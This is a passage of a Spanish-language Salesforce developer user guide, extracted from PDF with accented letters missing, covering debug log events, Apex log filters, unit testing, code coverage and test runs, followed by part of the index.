INFO y
anteriores

WF_OUTBOUND_MSG

EntityName: NameField Id, Id. de accin Flujo de

y regla

trabajo

INFO y
anteriores

WF_PROCESS_NODE

Nombre del proceso

Flujo de
trabajo

INFO y
anteriores

WF_REASSIGN_RECORD

EntityName: NameField Id y propietario Flujo de

trabajo

INFO y
anteriores

WF_RESPONSE_NOTIFY

Nombre del notificador, correo electrnico del


notificador e Id. de plantilla del notificador

Flujo de
trabajo

INFO y
anteriores

WF_RULE_ENTRY_ORDER

Entero y orden de indicacin

Flujo de
trabajo

INFO y
anteriores

WF_RULE_EVAL_BEGIN

Tipo de regla

Flujo de
trabajo

INFO y
anteriores

WF_RULE_EVAL_END

Ninguno

Flujo de
trabajo

INFO y
anteriores

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 238

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

WF_RULE_EVAL_VALUE

Valor

Flujo de
trabajo

INFO y
anteriores

WF_RULE_FILTER

Criterios de filtro

Flujo de
trabajo

INFO y
anteriores

WF_RULE_INVOCATION

EntityName: NameField Id

Flujo de
trabajo

INFO y
anteriores

WF_RULE_NOT_EVALUATED

Ninguno

Flujo de
trabajo

INFO y
anteriores

WF_SOFT_REJECT

Nombre del proceso

Flujo de
trabajo

INFO y
anteriores

WF_SPOOL_ACTION_BEGIN

Tipo de nodo

Flujo de
trabajo

INFO y
anteriores

WF_TIME_TRIGGER

EntityName: NameField Id, accin de

Flujo de
trabajo

INFO y
anteriores

Flujo de
trabajo

INFO y
anteriores

tiempo, contenedor de accin de tiempo y fecha y


hora de evaluacin
WF_TIME_TRIGGERS_BEGIN

Ninguno

CONSULTE TAMBIN
Filtrado de registros de depuracin de clases de Apex y desencadenadores de Apex

Bsqueda de un registro de depuracin


Para buscar texto en un registro de depuracin, utilice la Ventana de la lnea de comando en la Consola del desarrollador.
Antes de realizar una bsqueda, debe ejecutar las declaraciones de Apex para generar el registro desde la Ventana de la lnea de comandos.
1. Para abrir la Ventana de la lnea de comandos, haga clic en CTRL+L.
2. Ejecute el cdigo Apex para generar un registro:
Para introducir declaraciones de Apex en la lnea de comandos, escriba ejecutar <declaraciones de Apex >.
Por ejemplo:
exec List<Account> accts = new List<Account>();
for (Integer i=0; i<20; i++){
Account a = new Account(name='Account Name ' + i);
accts.add(a);
}

Para ejecutar el cdigo que ya ha introducido en la ventana de introduccin de cdigo Apex, escriba ejecutar -r.
3. Despus de que se haya generado el registro, escriba buscar <cadena> para buscar el texto especificado.
Por ejemplo: buscar Nombre de cuenta.

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 239

Los resultados de bsqueda aparecen en la Ventana de lnea de comandos.


4. Para cerrar la Ventana de lnea de comandos, haga clic en CTRL+L.
CONSULTE TAMBIN
Referencia de la lnea de comando de la Consola del desarrollador

Filtrado de registros de depuracin de clases de Apex y desencadenadores de Apex


Configuracin de filtros de registro de depuracin de clases y
desencadenadores de Apex
El filtrado de registro de depuracin proporciona un mecanismo para ajustar la lectura del registro
al nivel de desencadenador y clase. Es especialmente til a la hora de depurar la lgica de Apex.
Por ejemplo, para evaluar el resultado de un proceso completo, puede aumentar la lectura de un
registro de una clase concreta mientras desactiva otras clases o desencadenadores en una solicitud
nica.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Si sustituye los niveles de registro de depuracin de una clase o desencadenador, estos niveles de depuracin tambin se aplican a los
mtodos de clase que activa su clase o desencadenador y los desencadenadores que se ejecutan como resultado. El resto de mtodos
de clase y desencadenadores en la ruta de ejecucin heredan la configuracin del registro de depuracin de su emisor, salvo que hayan
sustituido esta configuracin.
El siguiente diagrama muestra la sustitucin de niveles de registro de depuracin en el nivel de clase y desencadenador. En este caso,
suponga que Class1 causa algunos problemas a los que le gustara prestar ms atencin. Para ello, los niveles de registro de depuracin
de Class1 se elevan a la mayor granularidad. Class3 no sustituye estos niveles de registro, y, por lo tanto, hereda los filtros de
registro granulares de Class1. Sin embargo, UtilityClass ya se ha comprobado y funciona correctamente, por lo que sus filtros
de registro estn desactivados. De igual forma, Class2 no es la ruta de cdigo que causa un problema, por lo que tiene su registro
configurado para registrar nicamente errores de la categora Apex Code. Trigger2 hereda estas configuraciones de registro de
Class2.
Configuracin de ajustes del registro de depuracin de clases y desencadenadores

A continuacin se incluye un ejemplo de un cdigo de muestra en el que se basa el diagrama.

Mejora de Salesforce mediante cdigo

Gua del usuario | Prueba | 240

1. Trigger1 activa un mtodo de Class1 y otro mtodo de Class2. Por ejemplo:


trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}

2. Class1 activa un mtodo de Class3, que por contra activa un mtodo de una clase de utilidad. Por ejemplo:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}

3. Class2 causa un desencadenador, Trigger2, se debe ejecutar. Por ejemplo:


public class Class2 {
public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.
}
}

Para definir filtros de registro:


1. En una pgina de detalles de clase o desencadenador, haga clic en Filtros de registro.
2. Haga clic en Sustituir filtros de registro.
Los filtros de registro se definen a los niveles de registro personalizado.
3. Seleccione el nivel de registro que desee para cada categora de registro.
Para tener ms informacin acerca de categoras de registro de depuracin, niveles de registro de depuracin y eventos de registro de
depuracin, consulte Configuracin de filtros de registro de depuracin.
CONSULTE TAMBIN
Filtros de categoras de registro de depuracin

Prueba
Prueba de cambios
Esta seccin contiene informacin sobre cmo comprobar sus cambios.
Acerca de las pruebas de unidad Apex
Trabajo con ejecucin de pruebas de Apex
Ejecucin de pruebas en la Consola de desarrollador

Mejora de Salesforce mediante cdigo

Gua del usuario | Acerca de las pruebas de unidad


Apex | 241

Cdigo Apex de ejecucin annima

Acerca de las pruebas de unidad Apex


Realizar pruebas es fundamental para el xito de su aplicacin, especialmente si se va a implementar
para los clientes. Si comprueba que su aplicacin funciona segn lo esperado y que no se producen
conductas inesperadas, sus clientes confiarn ms en usted.
Para facilitar el desarrollo de un cdigo resistente y sin errores, Apex ayuda a la creacin y ejecucin
de pruebas de unidad. Las pruebas de unidad son mtodos de clases que verifican si una parte
especfica del cdigo funciona adecuadamente. Los mtodos de comprobacin de unidades no
tienen argumentos, no aplican datos a la base de datos, no envan correos electrnicos y se marcan
con la palabra clave testMethod en la definicin de mtodo.
Puede ejecutar pruebas de unidad para:
Una clase especfica

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los paquetes gestionados
no estn disponibles en
Database.com.

Un subconjunto de clases
Todas las pruebas de unidad de su organizacin
Todas las pruebas de Apex que se han iniciado desde la interfaz de usuario de Salesforce (incluyendo
la Consola de desarrollador) se ejecutan de forma asncrona y en paralelo. Las clases de prueba de
Apex se ponen en la cola de trabajos de Apex para su ejecucin. El nmero mximo de clases de
prueba que puede ejecutar en 24 horas es el mayor de 500 o de 10 multiplicado por el nmero de
clases de prueba de la organizacin. Para organizaciones de sandbox y Developer Edition, este
lmite es superior y es el mayor entre 500 o 20 multiplicado por el nmero de clases de prueba en
la organizacin.

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

Cobertura de cdigo por pruebas de unidad


Antes de poder implementar su cdigo o empaquetarlo para AppExchange de Force.com, deben darse las siguientes afirmaciones:
Las pruebas de unidad deben cubrir al menos el 75% de su cdigo Apex, y todas esas pruebas deben completarse correctamente.
Tenga en cuenta lo siguiente.
Al implementar en una organizacin de produccin, se ejecutar cada prueba de unidad del espacio de nombres de su
organizacin.
Las llamadas a System.debug no se cuentan como parte de la cobertura de cdigo Apex.
Los mtodos y las clases de prueba no se cuentan como parte de cobertura de cdigo Apex.
Aunque las pruebas deben cubrir solo el 75% de su cdigo Apex, no debe centrarse en el porcentaje de cdigo que se cubre.
En su lugar, debe asegurarse de que se cubre cada caso de uso de su aplicacin, incluidos los casos positivos y negativos, as
como los registros masivos y nicos. Esto debera dar lugar a que las pruebas de unidad cubrieran el 75% o ms de su cdigo.
Cada desencadenador debe contar con alguna cobertura de prueba.
Todas las clases y los desencadenadores se deben compilar satisfactoriamente.
Si su prueba activa otra clase o provoca que se ejecute un desencadenador, ese Apex se incluir en la cantidad total utilizada para calcular
el porcentaje de cdigo cubierto.
Cuando se hayan ejecutado todas las pruebas, los resultados de cobertura de cdigo estarn disponibles en la Consola de desarrollador.
Para generar resultados de cobertura del cdigo, ejecute sus pruebas primero con uno de los siguientes mtodos:
Para ejecutar pruebas desde la Consola de desarrollador, consulte Creacin de ejecuciones de prueba.

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas de Apex | 242

Para ejecutar todas las pruebas desde Configuracin, haga clic en Desarrollo > Clases de Apex > Ejecutar todas las pruebas.
Para ejecutar pruebas de una clase individual de Configuracin, haga lo siguiente:
Haga clic en Desarrollo > Clases de Apex > Su clase > Realizar prueba.
Haga clic en Desarrollo > Ejecucin de prueba de Apex. Haga clic en Seleccionar pruebas... para seleccionar las clases que
contienen las pruebas que desea ejecutar y haga clic en Ejecutar.
Despus de ejecutar pruebas puede visualizar los resultados de la cobertura de cdigo en la Consola de desarrollador, incluidas las lneas
del cdigo cubiertas por pruebas para una clase o un desencadenador individual. Consulte Comprobacin de la cobertura del cdigo.
CONSULTE TAMBIN
Trabajo con ejecucin de pruebas de Apex

Ejecucin de pruebas de Apex


Trabajo con ejecucin de pruebas de Apex
Para utilizar la pgina Resultados de pruebas de Apex:

EDICIONES

1. En Configuracin, haga clic en Desarrollo > Ejecucin de prueba de Apex.


2. Haga clic en Seleccionar pruebas....
Nota: Si tiene clases de Apex instaladas desde un paquete gestionado, debe compilar
primero estas clases haciendo clic en Compilar todas las clases en la pgina de clases
de Apex para que aparezcan en la lista. Consulte Gestin de clases de Apex en la pgina
55.
3. Seleccione las pruebas que desea ejecutar. La lista de pruebas solo incluye las clases que
contienen los mtodos de prueba.
Para seleccionar pruebas de un paquete gestionado instalado, seleccione su espacio de
nombres correspondiente de la lista desplegable. En la lista, solo aparecern las clases del
paquete gestionado con el espacio de nombres seleccionado.
Para seleccionar pruebas que existan localmente en su organizacin, seleccione [Mi espacio
de nombre] de la lista desplegable. En la lista, slo aparecern las clases locales que no
sean de paquetes gestionados.

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

Para seleccionar cualquier prueba, seleccione [Todos los espacios de nombre] de la lista
desplegable. Aparecern todas las clases de la organizacin, independientemente de si
pertenecen o no a un paquete gestionado.
Nota: En la lista no aparecern aquellas clases cuyas pruebas sigan ejecutndose.
4. Haga clic en Ejecutar.
Tras seleccionar las clases de prueba que desea ejecutar, las clases seleccionadas se pondrn en la cola de trabajos de Apex a la espera
de ejecucin. El nmero mximo de clases de prueba que puede seleccionar para la ejecucin es el mayor de 500 o de 10 multiplicado
por el nmero de clases de prueba de la organizacin en 24 horas. Para organizaciones de sandbox y Developer Edition, este lmite es
superior y es el mayor entre 500 o 20 multiplicado por el nmero de clases de prueba en la organizacin.
Mientras las pruebas se estn ejecutando, puede seleccionar una o ms pruebas y hacer clic en Abortar para cancelarlas.
Cuando acabe la ejecucin de una prueba, puede:

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas de Apex | 243

Haga clic en la prueba para ver la informacin detallada del resultado; si una prueba falla, aparecern el primer mensaje de error y
el seguimiento de la pila.
Haga clic en Ver para ver el cdigo Apex de origen.
Nota: Los resultados de la prueba se muestran durante 60 minutos despus de la finalizacin de su ejecucin.
Utilice la pgina Resultados de pruebas de Apex para ver todos los resultados de prueba de su organizacin. En Configuracin, haga clic
en Desarrollo > Ejecucin de prueba de Apex > Ver historial de pruebas.
Utilice la Consola de desarrollador para ver informacin adicional sobre la ejecucin de las pruebas:
1. Haga clic en Su nombre > Consola del desarrollador.
2. Ejecute sus pruebas utilizando la pgina de ejecucin de pruebas de Apex.
3. Compruebe la Consola de desarrollador para revisar la solicitud.

Desactivacin de ejecucin de prueba paralela


Las pruebas que se han iniciado desde la interfaz de usuario de Salesforce (incluyendo la Consola de desarrollador) se ejecutan en
paralelo. La ejecucin de pruebas paralelas puede acelerar el tiempo de ejecucin de la prueba. En algunas ocasiones, la ejecucin de
pruebas paralelas puede generar problemas de contencin de datos y puede desactivar la ejecucin paralela en esos casos. En particular,
los problemas de contencin de datos y errores UNABLE_TO_LOCK_ROW se pueden producir en los siguientes casos.
Cuando las pruebas actualizan los mismos registros al mismo tiempo. La actualizacin de los mismo registros ocurre normalmente
cuando las pruebas no crean sus propios datos y desactivan el aislamiento de datos para acceder a los datos de la organizacin.
Cuando se produce un estancamiento en pruebas que se ejecutan en paralelo y que intentan crear registros con valores de campo
de ndice duplicados. Los datos de prueba se deshacen cuando un mtodo de prueba finaliza la ejecucin. Un estancamiento se
produce cuando dos pruebas en ejecucin estn esperando a otras para deshacer datos, lo que ocurre si dos pruebas insertan
registros con los mismos valores de campo de ndice nicos en diferentes rdenes.
Puede evitar la recepcin de esos errores desactivando la ejecucin de pruebas paralelas en la interfaz de usuario de Salesforce:
1. En Configuracin, haga clic en Desarrollo > Opciones de ejecucin de pruebas de > Apex....
2. En el cuadro de dilogo Opciones de ejecucin de pruebas de Apex, seleccione Desactivar pruebas de Apex paralelas y luego
haga clic en Aceptar.
Para obtener ms informacin sobre los datos de prueba, consulte el apartado de aislamiento de datos de prueba desde datos de la
organizacin en pruebas de unidad en la Gua del desarrollador del cdigo Apex de Force.com. Esta opcin no afecta a la orden de ejecucin
de las pruebas, que sigue ejecutndose de forma asncrona desde la pgina de ejecucin de pruebas de Apex.

Control de los resultados de cobertura de cdigo


Cuando haya ejecutado pruebas con la pgina Ejecucin de prueba de Apex, podr ver la informacin de cobertura de cdigo en la
Consola de desarrollador. Consulte Comprobacin de la cobertura del cdigo.
Para reducir el tiempo de clculo de los resultados totales de cobertura de cdigo obtenidos mediante Estimar la cobertura de cdigo
de su organizacin en la pgina Ejecucin de prueba de Apex, haga clic en Opciones..., seleccione Almacenar nicamente cobertura
de cdigo agregada y, a continuacin, haga clic en Aceptar. Utilice esta opcin nicamente cuando tenga muchas pruebas y grandes
volmenes de cdigo Apex, es decir, cuando el nmero de mtodos de prueba de Apex multiplicado por el nmero de todas las clases
y todos los desencadenadores sea del orden de cientos de miles. Esta opcin hace que los resultados de cobertura de cdigo se almacenen
con un formato agregado para todos los mtodos de prueba. Por consiguiente, no puede ver los resultados de cobertura de cdigo para
un mtodo de prueba individual, incluido el resaltado azul y rojo que muestra la cobertura de cdigo lnea por lnea en la Consola de
desarrollador. Para obtener ms informacin sobre la ejecucin de pruebas, consulte Creacin de ejecuciones de prueba en la ayuda en
lnea y Ejecucin de mtodos de pruebas de unidad en la Gua del desarrollador del cdigo Apex de Force.com.

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas de Apex | 244

Opcin de prueba de secuencia de numeracin automtica independiente


Para evitar intervalos en campos de numeracin automtica en los registros de su organizacin causados por registros de prueba creados
en pruebas de Apex, haga clic en Opciones..., seleccione Secuencia de numeracin automtica independiente y luego haga clic
en Aceptar. Esta opcin asla la secuencia de numeracin automtica utilizada en prueba de Apex de la secuencia utilizada en su
organizacin. Como resultado, la creacin de datos de prueba en pruebas de Apex impide que la secuencia de campos de numeracin
automtica sea superior para nuevos registros sin probar en su organizacin.
Si esta opcin est activada, habr intervalos en el campo de numeracin automtica siempre que las pruebas de Apex creen registros
de prueba con campos de numeracin automtica. Por ejemplo, Si Cuenta tiene un campo de numeracin automtica y existen 50
registros en su organizacin, el valor de campo de la ltima cuenta creada puede ser N-0050. Despus de ejecutar una prueba de
Apex que crea cinco cuentas de prueba, eso provoca el aumento de la secuencia de numeracin automtica en cinco aunque estos
registros de prueba no se hayan aplicado a la base de datos y se hayan deshecho. La prxima vez que cree un registro de cuenta sin
probar, su valor de campo de numeracin automtica ser N-0056 en lugar de N-0051, por tanto, el intervalo en la secuencia. Si
activa esta opcin antes de ejecutar una prueba de Apex que crea datos de prueba, se mantiene la secuencia de numeracin automtica
y el siguiente registro sin probar tendr un valor de numeracin automtica contigua de N-0051.
Recuerde que los intervalos en la secuencia de numeracin automtica puede seguir producindose en otras situaciones, por ejemplo,
cuando los desencadenadores que intentan insertar nuevos registros fallan al ejecutar y los registros se deshacen. En este caso, los
intervalos no se pueden evitar completamente porque, en la misma transaccin, algunos registros se pueden insertar correctamente
mientras se deshacen otros.
CONSULTE TAMBIN
Resultados de pruebas de Apex
Detalles de los resultados de pruebas de Apex

Resultados de pruebas de Apex


En Configuracin, haga clic en Desarrollo > Ejecucin de prueba de Apex > Ver historial de
pruebas para ver todos los resultados de pruebas de la organizacin, no solo las pruebas que ha
ejecutado. Los resultados de pruebas se guardan durante 30 das despus de la finalizacin de su
ejecucin, a menos que se eliminen.
Para mostrar un lista filtrada de elementos, seleccione una lista predeterminada de la lista desplegable
Vista o haga clic en Crear nueva vista para definir su propia vista personalizada.Para modificar
o eliminar una vista que haya creado, seleccinela en la lista desplegable Vista y haga clic en
Modificar.
Haga clic en Ver para ver ms detalles acerca de una ejecucin de pruebas especfica.
El registro de depuracin se establece automticamente para niveles y categoras de registro
especficos, los cuales no se pueden cambiar en la pgina de ejecucin de pruebas de Apex.
Categora

Nivel

Base de datos

INFO

Cdigo Apex

FINE

Perfil de Apex

FINE

Flujo de trabajo

FINEST

Validacin

INFO

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas en la Consola de


desarrollador | 245

Importante: Antes de poder implementar Apex o empaquetarlo para AppExchange de Force.com, deben darse las siguientes
afirmaciones.
Las pruebas de unidad deben cubrir al menos el 75% de su cdigo Apex, y todas esas pruebas deben completarse correctamente.
Tenga en cuenta lo siguiente.
Al implementar en una organizacin de produccin, se ejecutar cada prueba de unidad del espacio de nombres de su
organizacin.
Las llamadas a System.debug no se cuentan como parte de la cobertura de cdigo Apex.
Los mtodos y las clases de prueba no se cuentan como parte de cobertura de cdigo Apex.
Aunque las pruebas deben cubrir solo el 75% de su cdigo Apex, no debe centrarse en el porcentaje de cdigo que se
cubre. En su lugar, debe asegurarse de que se cubre cada caso de uso de su aplicacin, incluidos los casos positivos y
negativos, as como los registros masivos y nicos. Esto debera dar lugar a que las pruebas de unidad cubrieran el 75% o
ms de su cdigo.
Cada desencadenador debe contar con alguna cobertura de prueba.
Todas las clases y los desencadenadores se deben compilar satisfactoriamente.

CONSULTE TAMBIN
Detalles de los resultados de pruebas de Apex

Detalles de los resultados de pruebas de Apex


Para ver todos los resultados de pruebas de su organizacin en la vista predeterminada durante 30
das salvo que se eliminen, no nicamente las pruebas que usted haya ejecutado, en Configuracin,
haga clic en Desarrollo > Ejecucin de prueba de Apex > Ver historial de pruebas. Haga clic
en Ver para ver ms detalles acerca de una ejecucin de pruebas especfica.
CONSULTE TAMBIN
Resultados de pruebas de Apex

Ejecucin de pruebas en la Consola de desarrollador


Ejecucin de pruebas en la Consola de desarrollador
Utilice la Consola de desarrollador para crear ejecuciones de prueba, ejecutar pruebas y comprobar
la cobertura del cdigo Apex.
El men Prueba de la Consola de desarrollador le permite gestionar sus ejecuciones de prueba.
Incluye las opciones siguientes:
Nueva ejecucin: crea una nueva ejecucin de prueba. Para obtener informacin detallada,
consulte Creacin de ejecuciones de prueba.
Volver a ejecutar: ejecuta la prueba seleccionada en la ficha Pruebas.
Ejecutar todas: ejecuta todas las ejecuciones de pruebas guardadas.
Cancelar: cancela la prueba seleccionada en la ficha Pruebas.
Plegar todo: cierra todas las pruebas abiertas en la ficha Pruebas.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas en la Consola de


desarrollador | 246

Ampliar todo: ampla todas las pruebas de la ficha Pruebas.


Borrar datos de prueba: Borra los datos de prueba actuales y los resultados de cobertura del cdigo.
Las pruebas completadas aparecen en la ficha Pruebas del panel inferior de la Consola de desarrollador.

El panel Cobertura de cdigo total muestra el porcentaje de cobertura del cdigo para cada clase de la organizacin. El panel siempre
muestra el porcentaje actual de cada clase. Despus de realizar una ejecucin de prueba de todas las clases, muestra el porcentaje
general para toda la organizacin en negrita. Para obtener ms informacin, consulte Comprobacin de la cobertura del cdigo.
Para obtener ms informacin sobre la realizacin de pruebas, consulte la seccin Pruebas en la Gua del desarrollador del cdigo Apex
de Force.com.
CONSULTE TAMBIN
Creacin de ejecuciones de prueba
Comprobacin de la cobertura del cdigo

Comprobacin de la cobertura del cdigo


La Consola del desarrollador recupera y muestra la informacin de cobertura del cdigo de su organizacin. Los resultados de cobertura
del cdigo proceden de cualquier prueba que ejecuta desde una API o desde una interfaz de usuario (por ejemplo, la Consola del
desarrollador, el IDE de Force.com o la pgina de ejecucin de prueba de Apex). Para borrar los resultados actuales, haga clic en Prueba >
Borrar datos de prueba. Cuando modifica una clase, se borra la cobertura del cdigo para esa clase hasta que vuelva a ejecutar las
pruebas.
Puede ver la cobertura del cdigo en varias ubicaciones en la Consola del desarrollador.
La ficha Pruebas incluye un panel Cobertura de cdigo total que muestra el porcentaje de cobertura del cdigo para cada clase
Apex de su organizacin incluida en una ejecucin de prueba. Tambin muestra el porcentaje total.
Haga doble clic en una ejecucin de prueba completada para abrir una vista Resultados de pruebas que muestra la clase y el mtodo
comprobados, la duracin, el resultado (omisin, paso o fallo) y un mensaje de error opcional. Si se produce un fallo en la prueba,
una columna Seguimiento de pila muestra el mtodo y el nmero de lnea donde se produjo el fallo.
Para ver la cobertura de cdigo por lneas de una clase Apex, abra la clase. El men Cdigo cubierto incluir una o varias de las
siguientes opciones segn las pruebas que haya implementado:
Ninguno
Todas las pruebas: El porcentaje de cobertura del cdigo de todas las ejecuciones de prueba.
className.methodName: El porcentaje de la cobertura del cdigo de un mtodo ejecutado durante una ejecucin de
prueba.
Las lneas de cdigo cubiertas por las pruebas estn en azul. Las lneas de cdigo que no se han cubierto estn en rojo. Las lneas
de cdigo que no requieren cobertura (por ejemplo, smbolos de llaves, comentarios y llamadas System.debug) se dejan en
blanco.

Mejora de Salesforce mediante cdigo

Gua del usuario | Ejecucin de pruebas en la Consola de


desarrollador | 247

Nota: Cuando modifica una clase con cobertura de cdigos, el azul y el rojo que resaltan en el editor de cdigo fuente se atenan
para indicar que la cobertura ya no es vlida. Cuando modifica y guarda una clase, se elimina la cobertura para esa clase. Para
consultar la cobertura para esa clase, vuelva a ejecutar esas pruebas.
CONSULTE TAMBIN
Creacin de ejecuciones de prueba
Ejecucin de pruebas en la Consola de desarrollador

Creacin de ejecuciones de prueba


Un ejecucin de prueba es un conjunto de clases que contiene mtodos de prueba. Utilice una ejecucin de prueba para ejecutar los
mtodos de prueba en un grupo de clases.
1. En la Consola de desarrollador, haga clic en Prueba > Nueva ejecucin.
Las clases con mtodos de prueba estn enumeradas en la ventana Seleccionar pruebas.

2.

Seleccione clases en el panel Clases de prueba y haga clic en

para mover las clases al panel Clases de prueba seleccionadas.

Mejora de Salesforce mediante cdigo

Gua del usuario | Implementacin | 248

Para filtrar la lista de clases, escriba en el cuadro Filtrar. Para seleccionar varias clases adyacentes, seleccione una clase y pulse la
tecla Mays a la vez que hace clic en las clases que desea seleccionar. Para seleccionar varias clases que no sean adyacentes, seleccione
una clase nica y pulse la tecla CTRL a la vez que hace clic en las otras clases que desea seleccionar. Tambin puede hacer clic en
Seleccionar todo.
3. Cuanto todas las clases que desea ejecutar se hayan incluido en el panel Clases de prueba seleccionadas, haga clic en Ejecutar para
ponerlas en cola y ejecutarlas.
La ejecucin de la prueba aparecer en la ficha Pruebas. Para detener una prueba, haga clic en Prueba > Cancelar.
Nota: Si sus mtodos de prueba realizan llamadas a otros mtodos o clases definidos como pruebas en su organizacin,
tambin se ejecutarn estos mtodos y clases.
4. En la ficha Pruebas, ample la ejecucin de prueba para ver los resultados de cada mtodo invocado por cada clase en la ejecucin.
Nota: Las clases de prueba no necesitan cobertura de cdigo, por lo que muestran una cobertura del 0% en el panel Cobertura
de cdigo total y no afectan al porcentaje de cobertura de cdigo total.
5. Haga doble clic en la ejecucin de prueba completada para abrir los resultados en una vista detallada que muestra la clase y el
mtodo comprobados, la duracin, el resultado (omisin, paso o fallo) y un mensaje de error opcional.
Si se produce un fallo en la prueba, una columna Seguimiento de pila muestra el mtodo y el nmero de lnea donde se produjo el
fallo.
6. Seleccione un mtodo de prueba para ver su cobertura para cada clase del panel Cobertura del cdigo de clase.
7. Para borrar los resultados actuales, haga clic en Prueba > Borrar datos de prueba.
CONSULTE TAMBIN
Ejecucin de pruebas en la Consola de desarrollador
Comprobacin de la cobertura del cdigo

Implementacin
Esta seccin contiene informacin acerca de la implementacin de cambios que ha codificado en su organizacin.
Los cambios de cdigo deben realizarse en un sandbox, de modo que pueda probar los cambios antes de implementarlos. Los Sandboxes
contienen copias de sus ajustes de datos, cdigo y configuracin aislados de su entorno de produccin. Puede personalizar su organizacin
y probar aplicaciones en un sandbox, luego implementar los cambios en su organizacin de produccin cuando estn listos. En algunos
casos puede tener varios desarrolladores trabajando en distintos sandbox y despus coordinar esos cambios para la implementacin.
Estas secciones incluyen informacin sobre el proceso de implementacin y las herramientas disponibles para desarrollar e implementar
cambios:
Conceptos bsicos sobre implementacin
Seleccione sus herramientas para el desarrollo e implementacin de cambios

NDICE
A
Acceso a aplicacin
denegar acceso 202
solicitud aprobada 201
solicitudes 200
Acceso remoto
mbito 187
autenticacin de usuarios 159
desarrollo para 159
descripcin general 136
gestin de aplicaciones 152
OAuth
187
mbito 187
revocar acceso 188
terminologa 158
uso de token de id 190
uso de URL de identidad 191
uso de UserInfo Endpoint 196
uso del extremo de deteccin de conexin OpenID 199
uso del token de acceso 190
Apex
Ajuste de acceso a clase 8587
clases 55
cdigo 49
cdigo fuente 14
cola de trabajos 6263
configuracin de versin 57
correo electrnico 98
creacin de una clase 50
creacin de una clase desde un WSDL 61
definicin de desencadenador 51
definicin de seguridad de clases 84
dependencias 58
depuracin 5, 216
descarga de un WSDL personalizado 122
descripcin general 49
editor 1314
errores en paquetes 54
filtros de registro de depuracin 225
gestin de desencadenadores 56
llamada 65
modificacin 5
motivos de colaboracin 87
niveles de registro de depuracin 225

Apex (continuacin)
nuevo clculo de la colaboracin de Apex 88
pgina de detalles de desencadenador 60
pruebas 58, 241242, 244247
registros de depuracin 223
resumen de clase 58
servicio Web externo 65
servicios de correo electrnico 103
vista de una clase 58
API
descarga de un WSDL 122
API de metadatos 123
API masiva 123
aplicacin conectada
flujo de autenticacin 160, 172, 175, 180, 182, 185
flujo de soporte SAML 165
flujo del token de soporte JWT 168
terminologa 158
Aplicacin conectada
control de acceso en 146, 148
creacin 137
crear 136
desinstalacin 157
detalles 146
eliminacin 144
gestin 147
mensajes de error de notificaciones distribuidas 155
modificacin 144, 146, 148
Notificaciones distribuidas de Android GCM, pruebas 154
Notificaciones distribuidas de APNS, pruebas 154
paquete 144
pruebas de notificaciones distribuidas 153
restricciones de direcciones IP para 146, 148
supervisin del uso 151
URL de inicio 146, 148
aplicaciones conectadas 159
Aplicaciones conectadas
gestin de aplicaciones 152
uso de UserInfo Endpoint 196
uso del extremo de deteccin de conexin OpenID 199
AppExchange
Errores de Apex 54

C
Campos
mbito de operacin 122

ndice

Campos (continuacin)
dependencias 122
Campos de combinacin
S-Control 117
Certificados de autenticacin de cliente
descarga 122
Chat
activacin para pginas de Visualforce 84
desactivacin para pginas de Visualforce 84
Clases
registros de depuracin 239
Cdigo
seguridad 91
Cola de trabajos de Apex 6263
Colaboracin
nuevo clculo de la colaboracin de Apex 88
Razones de colaboracin de Apex 87
Componentes personalizados, Visualforce
creacin 76
descripcin general 75
gestin 78
vista 77
Comprobacin de cambios en la organizacin 240
Conexin OpenID 191, 196, 199
Configuracin de versin 57, 74
Conjuntos de permisos
Visualforce 90
Consola de desarrollador
acerca de 5, 216
Archivo 89
base de datos 17
cdigo fuente 14
comprobacin de la cobertura del cdigo 246
concepto 5, 216
Consola de desarrollador
207
vista Inspector de volcados de pila 207
Cuadrcula Resultados de consulta 11
depuracin 204, 206207
Depuracin 10
Editor Consulta 11
editor de cdigo 14
ejecuciones de prueba 247
esquema 17
Estado de visualizacin 222
fichas 7
Herramientas 11, 222
interfaz de usuario 7
layout 2

Consola de desarrollador (continuacin)


memoria 207
mens 810
Modificar 10
navegacin 2, 810
objeto 17
organizacin 2
perspectivas 219
pruebas de Apex 247
punto de comprobacin 204, 207
punto de control 206
registros 208
registros de depuracin 208
registros de desarrollador 208
secciones 2
smbolos 207
table 17
variables 207
Vista del Inspector de registros 219
vista Inspector de volcados de pila 207
vistas 7
volcado de pila
204, 206207
ficha Pila 207
ficha Smbolos 207
control de acceso en aplicaciones conectadas 146, 148
Controlador de vista previa de la aplicacin de lienzo
descripcin general 120
Correo electrnico
procesamiento con Apex 98
